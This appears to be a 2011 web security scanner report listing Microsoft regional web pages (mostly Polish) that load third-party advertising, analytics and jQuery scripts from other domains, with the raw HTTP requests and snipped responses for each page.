HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438461800400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:22 GMT Content-Length: 22237
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <hea ...[SNIP]... </script>
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /nb/no/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:03 GMT Last-Modified: Mon, 08 Aug 2011 13:07:53 GMT ETag: 634483804730000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279872143000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:03 GMT Content-Length: 61910
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="nb"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /nl/be/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:59:24 GMT Last-Modified: Mon, 22 Aug 2011 06:55:36 GMT ETag: 634495677360000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438183832400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:49:23 GMT Content-Length: 87986
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="nl"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /nl/nl/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:59:29 GMT Last-Modified: Thu, 25 Aug 2011 08:44:57 GMT ETag: 634498334970000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438989531800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:49:29 GMT Content-Length: 76465
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="nl"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
GET /online/pl-pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279807143200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:28 GMT Content-Length: 33625
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><m ...[SNIP]... <!-- This control writes out the Atlas JavaScript tag --><script language="JavaScript" src="http://view.atdmt.com/jaction/mrth2e_FY11BPOSFY11EntHmpgHomepageLP_1"></script> ...[SNIP]...
GET /pl-pl/cloud/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:16:29 GMT Last-Modified: Tue, 28 Jun 2011 10:04:28 GMT ETag: 634448270680000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279682143100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:28 GMT Content-Length: 25757
The response dynamically includes the following script from another domain:
http://code.jquery.com/jquery-1.5.1.min.js
Request
GET /pl-pl/security_essentials/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:16:28 GMT Last-Modified: Tue, 19 Jul 2011 01:54:34 GMT ETag: 634466120740000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438405643100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:28 GMT Content-Length: 124585
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="pl"><head><title>Ochrona przed wirusami, programami sz ...[SNIP]... <body bi:type="oneMscomMaster"> <script src="http://code.jquery.com/jquery-1.5.1.min.js" type="text/javascript"></script> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:06:37 GMT Last-Modified: Fri, 26 Aug 2011 15:07:48 GMT ETag: 634499428680000000 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279336142000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:56:37 GMT Content-Length: 95286
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_0"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:04:44 GMT Last-Modified: Fri, 26 Aug 2011 15:07:48 GMT ETag: 634499428680000000 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279834142400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:54:44 GMT Content-Length: 95286
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_0"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /pl/pl/sitemap.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:04 GMT Last-Modified: Tue, 09 Aug 2011 05:00:29 GMT ETag: 634484376290000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438217442400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:04 GMT Content-Length: 92894
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head><title> ...[SNIP]... <div class="smp_vertAd" style="width:180px;"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/centrumprasowe/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791979942700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:01 GMT Content-Length: 18534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Microsoft Cent ...[SNIP]... <div id="add" class="adserving"> <script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791441742200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:56:55 GMT Content-Length: 17508
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/developer/Default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438339600200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:24 GMT Content-Length: 17508
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/gotowydopracy/index.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279235210100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:59:53 GMT Content-Length: 7782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"> <head><meta http-e ...[SNIP]... </script>
GET /poland/hardware/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791376300400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:41 GMT Content-Length: 31878
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/hardware/digitalcommunication/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:01:40 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791999500800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:39 GMT Content-Length: 38317
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/hardware/gaming/gaming.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:01:41 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438118500300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:40 GMT Content-Length: 28739
GET /poland/hardware/mouseandkeyboard/productlist.aspx?type=Keyboard&AdditionalType=Sets HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791376300400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:36 GMT Content-Length: 46306
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279110600500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:00:46 GMT Content-Length: 20061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/OfficeMobile2010.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791467100200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:00:57 GMT Content-Length: 17169
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/excel.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791468600100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:00 GMT Content-Length: 21547
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/onenote.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279963900500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:00 GMT Content-Length: 21773
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/outlook.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791376300400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:00 GMT Content-Length: 21932
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/pakiety.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279952410200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:00:32 GMT Content-Length: 21816
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/powerpoint.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438939200100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:00 GMT Content-Length: 22361
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/shops.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279833100200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:00:57 GMT Content-Length: 21435
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/sitemap.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79120000600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:00 GMT Content-Length: 16552
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/office/zrob-to-najlepiej/word.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791797200700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:00:56 GMT Content-Length: 21759
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/pocztahotmail/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 43866742300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:02 GMT Content-Length: 16335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"><title> W ...[SNIP]... </script> <script type="text/javascript" src="http://pro.hit.gemius.pl/gemius.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/protect/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:05:24 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79142041900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:05:24 GMT Content-Length: 33246
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=windows-1250"><META name="MS.LOCALE" content="pl-pl"><title>Microsoft . bezpiecze.stwo w domu . zapobieganie kradzie. ...[SNIP]... <center><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/technet/security/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:01:19 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279963900500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:18 GMT Content-Length: 42321
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=windows-1250"><META name="MS.LOCALE" content="pl-pl"><title>Centrum Bezpiecze.stwa Microsoft TechNet</title><meta nam ...[SNIP]... <center><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/twojanowa/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
